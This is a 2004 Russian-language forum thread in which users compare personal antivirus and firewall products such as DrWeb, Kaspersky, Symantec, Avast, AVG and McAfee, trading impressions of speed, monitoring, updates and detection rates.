Radeon.ru :: Персональные антивирусы, борьба с вирусами

Radeon.ru https://forum.radeon.ru/

Персональные антивирусы, борьба с вирусами https://forum.radeon.ru/viewtopic.php?f=24&t=10862	Страница 1 из 3

Автор:	kesic [ 20:01 07.09.2004 ]
Заголовок сообщения:	Персональные антивирусы, борьба с вирусами
Хотелось бы услышать, какая антивирусная программа наиболее практична при небольшой загрузке системы, на сегодняшний день. Да, обновление должно быть регулярным и беспроблемным (т.е. чтобы можно было обновиться автоматом или скачать обновлённые антивирусные базы).

Автор:	ArtLonger [ 21:58 07.09.2004 ]
Заголовок сообщения:
На работе используется Symantec Corporate, дома я соотв. пользую его клиента. По тестам он может и не в лидерах, но систему тормозит минимально и ни одного вируса пока не пропустил. Вот только базы у него по 7 мегов . Зато с обновлениями никаких проблем. От Касперского тяжёлые впечатления ещё с версии 4.0 и желания повторить как-то не возникает. Но подождём статистики по обновлённой пятёрке. DrWeb использовать тяжело. Если оставить настройки по умолчанию (т.е. довольно слабая защита), то система летает. Однако стоит уровень контроля сделать побольше и начинаются тормозззззаааа... NAV слишком назойлив, всё прочее как у Symantec Corporate.

Автор:	SuperDee [ 22:09 07.09.2004 ]
Заголовок сообщения:
kesic DrWeb 4.32, наверное.

Автор:	NEW [ 23:22 07.09.2004 ]
Заголовок сообщения:
msconfig обновлений не требуется

Автор:	kesic [ 00:50 08.09.2004 ]
Заголовок сообщения:
SuperDee Ты знаешь, что-то не очень уверен, т.к. их политика изменилась по сравнению с 4.31, но сканер стал работать лучше. Зато теперь агент DrWeb постоянно висит в трее и кушать просит. ArtLonger Последний DrWeb и с настройками по умолчанию не плох, проверял лично. Но ситсему он стал грузить больше, да и мутят что-то его разработчики с базами и обновлением, в последнее время, поэтому сей прдукт меня перестаёт прикалывать. Что же касается каспера, то в последней версии его разработчики тоже перемудрили. Я уже создавал тут ветку о стримах. Не ты ли автор перевода ResHacker_A? To ALL А какое мнение сложилось о NOD32? Есть слух, что он довольно хорош.

Автор:	kesic [ 01:17 08.09.2004 ]
Заголовок сообщения:
pmv Не делали бы разработчики DrWeb агента, "постоянновисящего" в трее, порешали бы с базами и обновлением, да разобрались с проверкой архивов — я бы не создавал даже такую ветку...

Автор:	NEW [ 03:47 08.09.2004 ]
Заголовок сообщения:
Насчет агента, "постоянновисящего" в трее от DrWeb — а кто мешает его вообще не ставить или отключать? imho по мне от антивируса если что иногда и требуется, то только сканер. Хотя у Панды интереснее реализовано, отлов всяких там диалеров, spyware и прочей интернет-дряни предусмотрен (вирусами не являющейся) и т.д.

Автор:	kesic [ 04:16 08.09.2004 ]
Заголовок сообщения:
NEW Здравствуйте,так в 4.32 этот агент не отключается (что-то вроде контрол центр). Его можно, конечно, "вырезать" из реестра, но... спайдера при активации не будет в трее, да и работает он в таком случае некорректно. Т.е. в новой версии получается, что при активированном мониторинге (спайдере) в системе висит не один, а два процесса — spidernt.exe, один из которых сам спайдер, а второй — агент, тупо висящий в трее... Причём сам агент иногда кушает больше ресурсов, чем работающий спайдер. Эту фишку (с агентом) придумали явно по причине новой политики, т.е. полнофункциональная версия на 20 дней. После установки 4.32 и появляется сей агент, который напоминает о регистрации или о получении триал ключа. После соответствующих продседур он всё равно остаётся в трее, ибо пока (или вообще) иначе не сделали. P.S. Сканер конечно хорошо, но при бродилках в инете мониторинг обязателен.

Автор:	Darth_Vader [ 08:41 08.09.2004 ]
Заголовок сообщения:
kesic AVP v.3.5.133 Platinum (последняя в истории версия на старом движке).

Автор:	Darth_Vader [ 08:43 08.09.2004 ]
Заголовок сообщения:
З.Ы. Мониторинг местами может и хорошо, но при бродилках в инете файрвол обязателен

Автор:	abSystem [ 09:53 08.09.2004 ]
Заголовок сообщения:
kesic Я использую фришный для личного употребления Antivir Guard (www.free-av.com). Компактный, не тормозит, неплохо настраивается, с обновлениями баз нет проблем (около 1.8М обновления баз и до 4М обновления собственно проги). Правда не устанавливается на серверные версии ОС по причине своей фришности .

Автор:	ArtLonger [ 10:41 08.09.2004 ]
Заголовок сообщения:
kesic Последний DrWeb и с настройками по умолчанию не плох, проверял лично. Да ты внимательнее посмотри настройки — так себе защита. При сравнимой загрузке машины куда хуже SAVcorp. Даже на максимальном уровне защиты Symantec'овская корпоративка практически незаметна. Только при загрузке приличный тормоз — проверяет много... А за Касперским надо посмотреть. Наверно возьму убойную машину на работе и погоняю. <font class="off">Не ты ли автор перевода ResHacker_A? Случайно да.</font> NEW msconfig — обновлений не требуется Э, нет. При инет-серфе, качании разнообразных прог и их последующей установке мониторинг обязателен. При обычной работе я его гашу, но не раньше, чем выйду из инета и проверю папочку Download... Darth_Vader За стенкой я себя чуствую сухо и уютно... abSystem Мониторинг у него есть? Какова периодичность обновлений? И как он по тестам?

Автор:	Disen [ 12:03 08.09.2004 ]
Заголовок сообщения:
kesic Использую продукты от Питера Нортона. Norton AntiVirus 2003 + Norton Personal Firewall Pro, единственное что плохо в файрволе, так это то, что он рекламу не режет с остальным все нешяк. И при игре по модему он немнго замедляет работу. Но лечится это просто — OFF!

Автор:	kef [ 12:22 08.09.2004 ]
Заголовок сообщения:
Avast! более 2-х лет.

Автор:	ArtLonger [ 12:40 08.09.2004 ]
Заголовок сообщения:
kef Тоже попрошу аргументы в студию. Дистрибутив, обновления, тормоза (если есть), тесты...

Автор:	NEW [ 13:38 08.09.2004 ]
Заголовок сообщения:
ArtLonger <font class="off">Мониторингом никогда не пользовался, по мне так бесполезная загрузка железа. По мне и так сухо, если не тыкать куда ни попадя :—) А вот лечить всё более-менее серьезное все равно приходится руками, так что на антивири надежда слабая... к тому же антивири в таких ситуациях и о существовании еще могут не знать (как было у меня у одних клиентов, зараженных i-worm sircam, когда о нем информации еще нигде не было.. вылечил, позже узнал название вируса). Поэтому антивирусы в основном рассматриваю как средство подсмотреть название вируса, если вдруг становится интересно, с кем же это именно ковырялся :—) Стенка это другое, соглашусь, вещь более полезная. Жаль, atguard умер, удобный был чертяка (а NIS под него приспособить (есть там такая возможность в яйце типа пасхальном) все руки не доходят).</font>

Автор:	abSystem [ 13:57 08.09.2004 ]
Заголовок сообщения:
ArtLonger Мониторинг у него есть? Какова периодичность обновлений? И как он по тестам? Что такое мониторинг? Если я правильно понял, то в трее он висит постоянно. Настройки (scan on file read, scan on file write, scan on file read and write), приоритет (low, medium, high), чего сканировать (все или по списку расширений), чего делать при нахождении вируса (карантин, удалить, изничтожить(wipe), локировать...), и т.п. Можно указать список процессов, чьи файлы проверять не надо. В общем, все необходимые настройки имеются. Еще одно ограничение фришной версии — не будет сканировать сетевые и замапленые диски. Обновляется очень часто. В комплекте некий планировщик, которые позволяет в заданное время запустить евойный Internet Update. Правда у меня он автоматом закачивается раз в сутки и ложится на внутренний www-сервер, чтобы всем пользователям не надо было его качать из нета. Я его отключаю только на время запуска тяжелых игрушек.

Автор:	SuperDee [ 14:46 08.09.2004 ]
Заголовок сообщения:
kesic Не знаю. Я его как-то не юзаю. Просто 4.31 работал неплохо. У меня установлен КАV 5.0.149.4, но монитор не включаю, т.к. дома ничего не качаю, только по форумам пробегусь и всё. В этой ситуации и Аутпоста хватает выше крыши. А там, где качаю стоит фаерволл на серваке, а антивирь на тот комп нереально поставить (Cel 400, 128Мб PC66 + харды в режиме PIO) — и так всё тормооозииит. Дома проверю Касперским то, что скачал — и на душе спокойно.

Автор:	ArtLonger [ 15:17 08.09.2004 ]
Заголовок сообщения:
abSystem Еще одно ограничение фришной версии — не будет сканировать сетевые и замапленые диски. Да пофигу, на это антивирусный сервак есть под SAV. Остальное выглядит неплохо. Надо будет попробовать. Ты его сам выбирал или "сверху спустили"? NEW если не тыкать куда ни попадя Это ты. А если у иного юзверя ручки шаловливые? <font class="off">а NIS под него приспособить (есть там такая возможность в яйце типа пасхальном) все руки не доходят Как дойдут, не забудь рассказать о впечатлениях.</font>

Автор:	Deathdoor [ 16:08 08.09.2004 ]
Заголовок сообщения:
Согласен с kef насчет avast: легкий, быстрый, ежедневное автообновление (маленького размера), блокировка скриптов, русский язык (прога не наша) www.avast.com

Автор:	abSystem [ 16:45 08.09.2004 ]
Заголовок сообщения:
<font class="off">ArtLonger Ты его сам выбирал или "сверху спустили"? Мне некому "спускать". Я сам это делаю. </font>

Автор:	ArtLonger [ 18:45 08.09.2004 ]
Заголовок сообщения:
abSystem Я к тому, что это показатель качества программы.

Автор:	max-sever [ 21:28 08.09.2004 ]
Заголовок сообщения:
kesic Здравствуйте,так в 4.32 этот агент не отключается (что-то вроде контрол центр). Щас Кликаем по паучку "Настройки"—"удалить" после этого получаем тучу предупреждений о том что служба остановлена, монитор выгружен, некий хук драйвер выгружен. И все. При следующей перезагрузке Тоже самое про почтового паука. Снимешь настройки автозагрузки и все. Кстати, при инсталляции можно выбрать только сканер и не париться

Автор:	kesic [ 00:12 09.09.2004 ]
Заголовок сообщения:
max-sever Опять 25... К чему удаление??? Мониторинг мне тоже нужен, но иногда, я ведь говорил об этом. Т.е. меня вполне устраивали настройки предыдущих версий. Уж проще так, как я выше написал, т.е. вырезать агента из реестра. В этом случае мониторинг удалять не надо будет, а можно будет запускать как в ранних версиях (до 4.32), только тогда тот работает некорректно (не буду пока описывать ситуацию). ArtLonger Настройки по умолчанию в 4.32 по виду как и в 4.31 (и т.п.), но работает тот же мониторинг иначе (лучше). <font class="off">Это возможно ввиду того, что последний провал антивируса был "оправдан" настройками по умолчанию, поэтому кое-что разработчики перестроили... <I>Не ты ли автор перевода ResHacker_A? Случайно да.</I></font> Darth_Vader З.Ы. Мониторинг местами может и хорошо, но при бродилках в инете файрвол обязателен Да, надо было так сказать. abSystem Antivir Guard... надо потестить.

Автор:	NEW [ 01:15 09.09.2004 ]
Заголовок сообщения:
ArtLonger <font class="off">Это ты. А если у иного юзверя ручки шаловливые? Стараюсь приучать, плюс патчи — вовремя, и настройки-софт ставлю не провоцирующие А супротив ручек сильно шаловливых ни один антивирус не устоит, проверено Но для юзера — спорить не буду, согласен. Как дойдут, не забудь рассказать о впечатлениях. Хорошо </font>

Автор:	kesic [ 03:09 09.09.2004 ]
Заголовок сообщения:
NEW Всех не приучишь (сколько волка хлебом не корми...)

Автор:	Beginner [ 07:55 09.09.2004 ]
Заголовок сообщения:
DrWeb + AD_Aware + Outpost Firewall Я не пользую агентов, только сканеры (пошел на обед — воткнул), с агентами наблюдается некоторая глюкавость, причем фиг поймешь почему: Например система конструкторского проектирования КОМПАС слетала при открытии базы материалов, а это DrWEB гадил... Вот у меня тоже вопрос: Под FreeBSD на инет и почтовый сервак что лучше ставить?

Автор:	Darth_Vader [ 10:45 09.09.2004 ]
Заголовок сообщения:
<font class="off">NEW kesic Да уж, какой софт устоит против юзверя... страшнее зверя нету </font>

Автор:	kesic [ 20:43 09.09.2004 ]
Заголовок сообщения:
<font class="off">Darth_Vader Верно. </font> [Исправлено: kesic : 09-09-2004 21:46]

Автор:	kef [ 22:53 09.09.2004 ]
Заголовок сообщения:
Deathdoor Это чехи постарались. У меня почему-то к прогам из восточной Европы пристрастие (еще Servant Salamander и IrfanView). Пробовал AVG, но там (извиняюсь) ключик слетел. Правда, на втором компе стоит Home edition, но приходится вручную запускать. Avast — тормозов вообще не замечаю. Как только происходит обновление — маленькое окошко с сообщением (в русской версии голоса нет, в английской говорит "virus base is updated"). Как вирус — настоящая сирена. AVP не нравится из-за системы запуска, загрузки системы и настройки (центр какой-то, настройки по-умолчанию и тп.), DrWeb — не подхватывает обновления для старых версий (движок ведь почти не менялся, а обновить/купить — надо!). Купили сегодня два ноута iRU, а там карты регистрации на drweb на 6 месяцев. Посмотрим...

Автор:	max-sever [ 23:44 09.09.2004 ]
Заголовок сообщения:
kesic Я чего то не понимаю? Мы говорим о разном? На самом деле никто никого не удаляет в этом случае. А конкретно отключает.Пр нажатии на "инсталл" все восстанавливается.Далее жмешь "Загрузить" . Мониторинг тоже можно отключать. "Ручную" загрузку поставить . Туча способов. Можно значок в системном трее убрать kef DrWeb — не подхватывает обновления для старых версий Не понял. При наличии действующего ключа обновляется автоматом. Пример не успел я привыкнуть к 4.32, как зайдя в инет привычно обновляя базы (кстати на диалапе весьма быстро) после перезагрузки получил 4.32А

Автор:	kesic [ 01:16 10.09.2004 ]
Заголовок сообщения:
max-sever Чтобы развеять непонятки: Агент DrWeb в версии 4.32 (Spidernt.exe) и сам Spider (который в процессах тоже Spidernt.exe) не одно и тоже. Т.е. тот процесс о котором я говорю (постоянно висящий в трее) есть — пользовательский агент (типа для быстрого переключения рабочих столов и т.д. и т.п.). Его как удалить? Если его убрать из реестра, то сам Spider (который есть мониторинг) работает некорректно, мало того иконка Spider_а не появлеятся в трее (в таком случае) при его загрузке, где не ставь галочки... Выходит, что пользовательского агента не удалить (пока). Надеюсь, развеяны непонятки.

Автор:	kesic [ 03:55 10.09.2004 ]
Заголовок сообщения:
abSystem Попробовал я Antivir Guard. Не впечатлил меня сей продукт, т.к. мониторинг пропустил виря, которого не посчитал за вирус и сам сканер (в последствии), зато там где вируса нет, кричит — есть...

Автор:	ArtLonger [ 08:46 10.09.2004 ]
Заголовок сообщения:
Deathdoor avast: легкий, быстрый, ежедневное автообновление (маленького размера), блокировка скриптов, русский язык. Блокировка скриптов только в платной PRO-версии, насколько я помню. Русский язык в Avast это не достоинство, а недостаток. Более кривой перевод ещё поискать... На завалявшейся у меня старой коллекции из 180 вирусов (у некоторых по 2-3 штамма) Antivir Guard (www.free-av.com) нашёл на 44 вируса больше Avast'а — 201 против 157. PS: Кстати, если знаете ресурсы для проверки антивирусов, делитесь. Прямые ссылки на вирусные коллекции давать не стоит (не все воспринимают это адекватно ), но надёжные сайты лишними не будут.

Автор:	abSystem [ 17:13 10.09.2004 ]
Заголовок сообщения:
kesic Не впечатлил меня сей продукт, т.к. мониторинг пропустил виря, которого не посчитал за вирус и сам сканер (в последствии), зато там где вируса нет, кричит — есть... Например? У меня пока проколов не было. (3 раза тьфу)

Автор:	wolfman [ 00:44 11.09.2004 ]
Заголовок сообщения:
Нда Др.Веба не терплю ещё современ доса, всегда был тормозным, Касперыч очень не плох- сейчас стоит 5.0.121, все очень бодро (по сравнению с 4.5). Отношение к забугорным антивирям сложное, никто не говорит, что они плохи, но вспоминаются мне лекции по информатике: иностранные антивирусы хороши против иностранных вирусов, а наши против наших. Может теперь это не так актуально, но все же... Опять же в дополнение к Касперскому у меня стоит фаервол и антитроян, ну и плюс ad-aware для ловли всякой шпионской хрени. ArtLonger http://www.eicar.org/anti_virus_test_file.htm

Автор:	kesic [ 01:25 11.09.2004 ]
Заголовок сообщения:
abSystem Например: Стал ругаться на экзешник Need For Speed Hot Pursuit 2...

Автор:	abSystem [ 09:59 11.09.2004 ]
Заголовок сообщения:
kesic Видимо, включен эвристический анализатор...

Автор:	ArtLonger [ 10:33 11.09.2004 ]
Заголовок сообщения:
abSystem Кстати, как у него со скриптами и всякой интернет-гадостью?

Автор:	kesic [ 00:47 12.09.2004 ]
Заголовок сообщения:
abSystem По умолчанию он же вроде выключен (как я помню). Да, эвристик DrWeb_а довольно спокойнее...

Автор:	Mister [ 01:15 12.09.2004 ]
Заголовок сообщения:
Trend Macro PC-Cillin (Internet Security) «лёгкий» — антивирус, но очень грамотный

Автор:	abSystem [ 03:57 12.09.2004 ]
Заголовок сообщения:
kesic По умолчанию он же вроде выключен (как я помню). Может меняться от версии к версии. У меня он начал ругаться на клиента dnet, поскольку тот должен периодически сбрасывать в Инет результаты... ArtLonger Кстати, как у него со скриптами и всякой интернет-гадостью? Не совсем понял вопрос.

Автор:	ArtLonger [ 09:49 12.09.2004 ]
Заголовок сообщения:
abSystem Пакости, реализованные посредством HTML и JS. Захожу к примеру на некую страничку и получаю сообщение SAV о вредоносном содержании... Как с этим у Antivir Guard?

Автор:	IdeaFix [ 10:35 12.09.2004 ]
Заголовок сообщения:
Использовал НАВ с версии 2000 если не ошибаюсь, по сей день т.е. по 2004. Была система ip3-1000/512ram/i815ep/120gp seagate. Купил то, что в инфо, только винт ещё был на 120, на нём два раздела, 10 и всё остальное, оба fat32, первый диск nav 2003/2004 проходит на ура, на втором летает, типа не могу закончить, иди по ссылке в мою онлине инцыклапедию там читай аглицкий бред и потом shut up, be happy. Грешил на раздел fat32 бъёмом более 100 гигабайт, купил sata 160 gb, сделал 10 gb fat32 и остальное ntfs, та же картина, воткнул новый винт через ali pci контроллер в старую машину, проходит на ура антивирусную проверку. Как объяснить?

Автор:	abSystem [ 11:45 12.09.2004 ]
Заголовок сообщения:
ArtLonger Пакости, реализованные посредством HTML и JS. Захожу к примеру на некую страничку и получаю сообщение SAV о вредоносном содержании... Как с этим у Antivir Guard? Понял. Такого вроде нету.

Автор:	wolfman [ 10:02 13.09.2004 ]
Заголовок сообщения:
ArtLonger <BLOCKQUOTE><SPAN class=hquote>цитата:</SPAN><HR size=22><SPAN class=quote> Пакости, реализованные посредством HTML и JS. Захожу к примеру на некую страничку и получаю сообщение SAV о вредоносном содержании... Как с этим у Antivir Guard?</SPAN><HR size=22></SPAN></BLOCKQUOTE> касперский это умеет. Причем если версия 3.5 все же загружала страницу, а потом блокировала пакость, то новый касперский эту страницу вобще не загрузит.

Автор:	ArtLonger [ 14:33 13.09.2004 ]
Заголовок сообщения:
wolfman касперский это умеет Я знаю. Меня больше интересует, умеют ли это бесплатные антивирусы. Если нет, то для домашнего использования активным интернет-серфером они имхо слабо пригодны...

Автор:	DikAll [ 14:57 13.09.2004 ]
Заголовок сообщения:
Самый лучший — Fprote

Автор:	ArtLonger [ 18:15 13.09.2004 ]
Заголовок сообщения:
DikAll Самый лучший — выключенный компьютер и более надёжного ещё не придумали. Так что обоснуйте своё утверждение, пожалуйста.

Автор:	Destruction [ 18:30 13.09.2004 ]
Заголовок сообщения:
Меня в принципе устраивает связка АнтиВируса и АнтиХакера от Касперского. Недавно даже атаку предотвратил — Helkern, но этот вирус вроде поражает только Win2000, а у меня ХР. Непонятно, зачем ломился

Автор:	wolfman [ 21:20 13.09.2004 ]
Заголовок сообщения:
ArtLonger Боюсь что бесплатные антивири, в силу своей бесплатности, не могут на равных конкурировать с платными со братьями, покрайней мере пока.

Автор:	kesic [ 04:23 15.09.2004 ]
Заголовок сообщения:
kef и Deathdoor Потестил avast! Вирусы не все видит, пришлось подчищать DrWeb_oм...

Автор:	DikAll [ 09:54 15.09.2004 ]
Заголовок сообщения:
ArtLonger Итак. пользоваться конкретно 1 а.в. нелогично. У каждого есть свои + и —. 1. + F-Prote. Не нагружает систему и камень. Очень быстрый, самая большая база вирусов из всех а.в. что я знаю. — Не лечит, только блокирует, не работает с почтой. Пользуюсь прогой от вэба по искоренению вирусов. Эти две привязки отлично работают. 2. Trend Micro. + Отличное меню, неплохо сканирует, лечит. — Не все вирусы у меня нашел. Грохнул. 3. Web который доктор. + Тщательно сканирует, неплохая база, работает с почтой. + Тугодумит, напрягает систему во время поиска, после удаления возможно винда не загрузится. 4. Каспер. — — — — — — — Это ТАКОЙ ТОРМОЗ........ Долго сканирует, напрягает все что можно. ЛАЖА. 5. Norton. Не гонял, просто 2 дня поюзал. Не понравился от мне и все. Не знаю как объяснить. Недавно отечественные разработчики то бишь качпер и вэб приминили защиту своих продуктов. Поэтому все кряки с новыми версиями не пашут. Но у нас то есть все .....

Автор:	Destruction [ 11:31 15.09.2004 ]
Заголовок сообщения:
DikAll, к слову Каспер тоже работает с почтой. У меня по крайней мере Доктор не находил иногда то, что находил Касперский. По скорости, конечно, немного медленнее, чем Dr.Web.

Автор:	DikAll [ 12:20 15.09.2004 ]
Заголовок сообщения:
Destruction Да, работает. Но я его на дух не переношу!!! У меня на работе стоял, так я вирусы каждый день получал, а сейчас доктор — ни одного вируса.

Автор:	Destruction [ 12:35 15.09.2004 ]
Заголовок сообщения:
DikAll, видимо, вирусы кончились

Автор:	DikAll [ 13:16 15.09.2004 ]
Заголовок сообщения:
Destruction Да нет. Вирусов полно, как больных кругом. Проги выручают.

Автор:	ArtLonger [ 13:17 15.09.2004 ]
Заголовок сообщения:
DikAll F-Prote. Не нагружает систему и камень. Очень быстрый, самая большая база вирусов из всех а.в. что я знаю. — Не лечит, только блокирует, не работает с почтой. Мой любимый вопрос — всякую дрянь, реализованную посредством HTML и JS ловит? ALL Имхо можно разграничить резидентный мониторинг и сканирование системы. Проверку дисков я могу и на ночь поставить, так что тормозизм некритичен. А вот к монитору требования куда как больше...

Автор:	kesic [ 14:15 15.09.2004 ]
Заголовок сообщения:
DikAll Web который доктор...+ Тугодумит, напрягает систему во время поиска, после удаления возможно винда не загрузится. Ничего такого не заметил, и это на моей системе... Недавно отечественные разработчики то бишь качпер и вэб приминили защиту своих продуктов. Поэтому все кряки с новыми версиями не пашут. Как это не пашут? Всё, как в старые, добрые времена... To ALL ADinf кто-то юзает?

Автор:	DikAll [ 15:00 15.09.2004 ]
Заголовок сообщения:
kesic У меня и у ряда других парней винда не грузилась после удаления вэба. Это факт подтвержденный мной и другими. на новые проги (версии) кряки не пашут.

Автор:	kesic [ 15:18 15.09.2004 ]
Заголовок сообщения:
DikAll У меня и у ряда других парней винда не грузилась после удаления вэба. Не буду спорить, т.к. вспомнил момент, когда после удаления 4.31b (после перезагрузки), комп не сумел пройти самотестирование (но это явно были проблемы с "Power Good"). Пришлось просто отключить комп от электросети на считанные секунды, а затем включить и всё пошло пучком. Опять же, с DrWeb_ом знаком не один год и "тугодумием" он систему не обеременял, разве что при сканировании игровых CD. на новые проги (версии) кряки не пашут. См. ответ выше.

Автор:	kesic [ 15:37 15.09.2004 ]
Заголовок сообщения:
Что мне нравится в DrWeb (до 4.32х): 1. Сканирует и мониторит хорошо. 2. Неплохая антивирусная база. 3. В принципе, работает быстро. 4. Если не подключаешься к интернету, то мониторинг можно запускать вручную, а следовательно нет лишних процессов в системе (очень такое ценю), что очень даже хорошо.

Автор:	NEWNIK [ 23:55 15.09.2004 ]
Заголовок сообщения:
Поставил KAV Personal 5.0 — впечатлений мало, потому что не копался еще — запустил сканер системного диска (13 Гб, 8 занято, не считая 1Гб файла подкачки, НТФС) — за 25 минут был проверен. РАньше использовал КАВ 4.5 — так вот ему до таких результатов по времени очень далеко...

Автор:	kesic [ 01:09 16.09.2004 ]
Заголовок сообщения:
NEWNIK Интересно, а со стримами решили проблемку?

Автор:	wolfman [ 20:42 19.09.2004 ]
Заголовок сообщения:
У меня от касперыча версии 5.0 впечатлений масса, 1). возросшая скорость работы и меньшая нагрузка на систему (в отличии от версии 4.5). 2). Наконец-то сделали единую оболочку. 3). Довольно полезное нововведение: Ведение информационной базы по проверенным объектам. Антивирус Касперского теперь не проверяет повторно те объекты, которые были проанализированы во время предыдущей проверки и с тех пор не изменились, не только при постоянной защите, но и при проверке по требованию. Такая организация работы заметно повышает скорость работы программы. 4). Возможность проверки корректности работы антивируса. 5).Наконец-то заработала система лечения, до этого ни одна версия каспера не могла лечить, приходилось удалять.

Автор:	Destruction [ 06:31 20.09.2004 ]
Заголовок сообщения:
А когда Pro будет, никто не в курсу?

Автор:	sergey2400 [ 23:27 22.09.2004 ]
Заголовок сообщения:
ALL Как таковой единой программы для защиты от вирусных-хакерских атак ещё пока не придумали, но всё-же могу порекомендовать небольшой пакет программ, обеспечивающий практически 100% защиту вашего компьютера. Одно условие: обязательна установка всех из перечисленных и, естественно, их правильная настройка и систематическое обновление. Это: 1. Kaspersky Anti-Virus Personal Pro v.4.5. и выше, 2. Kaspersky Anti-Hacker v.1.5.92.0, 3. MyIE2. Теперь можно лазить по каким угодно сайтам и заряжать в комп какие-угодно СD & HDD — вирусы, спам и атаки хакеров Вам не сташны. Желаю всем успехов!!!

Автор:	kesic [ 01:42 23.09.2004 ]
Заголовок сообщения:
sergey2400 Хотелось бы подробнее услышать, почему именно MyIE2?

Автор:	ArtLonger [ 08:13 23.09.2004 ]
Заголовок сообщения:
sergey2400 Согласен, но насчёт набора программ вопрос спорный. 1. Kaspersky Anti-Virus Дело вкуса, хороших антивирусов хватает. 2. Kaspersky Anti-Hacker Вот это большой вопрос. На мой взгляд худший firewall ещё поискать... Сугубо имхо, но я предпочитаю Kerio, тем более Personal может быть и бесплатным (с небольшим уменьшением доп.функционала). 3. MyIE2. Тут согласен полностью. Из оболочек IE у него лучщие средства для блокировки всякой дряни. Альтернатива — Mozilla или Firefox с соотв. плагинами. К перечисленному можно добавить Adware-сканнеры (навроде Ad-Awarе) и резидентные мониторы реестра (к примеру такой есть в составе платной версии Ad-Awarе). Ещё можно использовать разнообразные Ad-блокеры, но это уже к безопасности не относится...

Автор:	ArtLonger [ 16:33 31.10.2004 ]
Заголовок сообщения:
Всё-таки чтобы жить с программами от Symantec, надо иметь недюжинный запас терпения... Достал меня SAV своим тупым упорством в некоторых вопросах и неумеренной интеграцией в систему (хотя до NAV далеко). Сменил его на AVG, сейчас гоняю. Довольно нетяжёлый монитор, небольшие и достаточно частые обновления, настройки небогатые (но их хватает). По различным тестам оценивается хорошо.

Автор:	ArtLonger [ 22:18 01.11.2004 ]
Заголовок сообщения:
di//ka эффективен — скорее лёгок и незаметен в повседневной оффисной работе. ненавязчив — вот не всегда. Как корпоративная система безусловно хорош, для дома же бывает излишне навязчив. Напоминание об отключённом мониторе нельзя убрать, а сила его такова, что валит даже Doom3... в последнее время, многое пропускает — вот это и пугает при домащнем использовании... Всё-таки на работе линия обороны помощнее (включая возможности корпоративного провайдера), да и выбора нет.

Автор:	IdeaFix [ 22:21 01.11.2004 ]
Заголовок сообщения:
<font class="off">Мастер Мурамаса делал самурайские мечи как разящее оружие. Мастер Масамунэ — как оружие, которым защищают свою жизнь. Чтобы сравнить их клинки вонзили в дно ручья. По течению плыли опавшие листья. Все листья, что прикасались к мечу Мурамаса, оказывались рассеченными на две части. Листья обплывали меч Масамунэ, не касаясь его. Петр Данилович Нортон делал антивирусы, грозные, как разящее отмщение Ангела. Евгений Валентинович Касперский делал антивирусы, твердые, как железобетонный Забор. Чтобы сравнить, их антивирусы поставили на Microsoft Windows XP Professional в локальной сети, по которой постоянно распространялись вирусы. Все вирусы что попадались антивирусу Нортона оказались уничтоженными. А машину с антивирусом Касперского вирусы попросту обходили стороной, ведь при 100% загрузке CPU сетевой адаптер не успевает общаться с сетью.</font>

Автор:	Perfecto [ 01:08 02.11.2004 ]
Заголовок сообщения:
ArtLonger Напоминание об отключённом мониторе нельзя убрать, а сила его такова, что валит даже Doom3... File->Unload Service извини, если не то, но вдруг поможет.

Автор:	Destruction [ 08:44 02.11.2004 ]
Заголовок сообщения:
ALL Вышла новая Pro версию AVP — 5.0.14. Cкачать антивирус можно с официального сайта. Первые впечатления: неплохо, достаточно быстро сканирует. Убрали кучу ненужных программ из антивируса, интегрировав все в одну. Единственное, что напрягает — то, что базы, скачанные архивами, не устанавливаются. <font color="red">От модератора Предупреждение. Ссылки на варезные ресурсы здесь неуместны.</font> [Исправлено: ArtLonger : 02-11-2004 09:10]

Автор:	ArtLonger [ 09:05 02.11.2004 ]
Заголовок сообщения:
di/\/\ka NAV не очень радует в последнее время. К примеру на небольшой коллекции относительно свежих вирусов нашёл на 1 меньше, нежели AVG... Кстати, о AVG. Как ни странно, бесплатная версия 6.0 интереснее новой 7.0 — у семёрки совершенно невменяемый монитор. Вернее даже не сам монитор, а Alert Manager. Ситуация. Захожу в папку с вирусом (AVG кстати плевать на это хотел, никаких сообщений нет) и пытаюсь его запустить. Получаю стандартное сообщение системы об отсутствии доступа к файлу и т.д. Удаляю его. И где-то через минуту-две получаю сообщение Alert Manager'а — а что делать с файлом? КАКИМ ФАЙЛОМ, блн??? Я его удалил уже, и из корзины вычистил! Шестая версия такие действия отслеживает моментально. Но AVG всё равно не глянулся — миграция вирусов по системе проходит легко и бесшумно. Копирую архивы туда-сюда, распаковываю — никаких предупреждкений. Немного страшно... Сейчас хочу попробовать McAfee 8. В витртуалке вчера прогнал на скорую руку — из 93 вирусов нашёл 90! Причём там два файла не вирусы, а проги-пакостницы Joke — их не все антивиры за вирусы считают. AVG обоих версий нашёл 84 (пропущен в т.ч. червь Magister.poly.a), SAV — 83 (не пропустил ни одного червя, зато дофига бутовых). F-Prot там же взял 79, и прозяпил 4(!) червя. Kerio PF в последних инкарнациях сильно разачаровал. Когда файер молча склеивает ласты на сидящей в сети машине, это нехорошо. Так что пользую Visnetic, поглядывая в сторону Sygate и Jetico. Perfecto Я знаю, спасибо. Речь о работе SAV в целом — это же не единственная его особенность. Что хорошо в корпоративной сети, дома не особо радует...

Автор:	ArtLonger [ 16:28 02.11.2004 ]
Заголовок сообщения:
di//ka Гоняю сегодня McAfee 8.0i (enterprise), впечатления пока приятные. Настроек вполне достаточно (больше чем у SAV), в работе ощущается на уровне SAV, т.е. совсем не тяжёл. Сервисов повесил штук пять (меньше, чем SAV), память особо не жрёт. last version is ok — это не 4.1.1 случаем? Так я как раз про неё... Может у меня пчёлы неправильные? А вообще, не очень хочется связываться с программой, представляющей собой растянутый по времени багофикс... ИМХО, сорри.

Автор:	ArtLonger [ 08:57 03.11.2004 ]
Заголовок сообщения:
di/\/\ka <font class="off">Скатываемся во флейм. Здесь всё-таки антивирусы обсуждаются... Можем продолжить здесь:</font> http://www.radeon2.ru/ubb/Forum24/HTML/000177.html

Автор:	Vovan177 [ 19:44 03.11.2004 ]
Заголовок сообщения:
Касперский 5-й рулит Сегодня забыл отключить монитор (обычно когда в игрульки играю отключаю) и запустил DOOM 3!!!. Так особых тормозов ненаблюдал Несравнить с 4-й версией.

Автор:	ArtLonger [ 23:13 03.11.2004 ]
Заголовок сообщения:
Vovan177 Слишком мало настроек...

Автор:	Destruction [ 13:28 04.11.2004 ]
Заголовок сообщения:
Vovan177 Цитата: >Касперский 5-й рулит Сегодня забыл отключить монитор\ Вы о версии Про? В ней нет монитора как такового.

Автор:	Ipse [ 18:54 04.11.2004 ]
Заголовок сообщения:
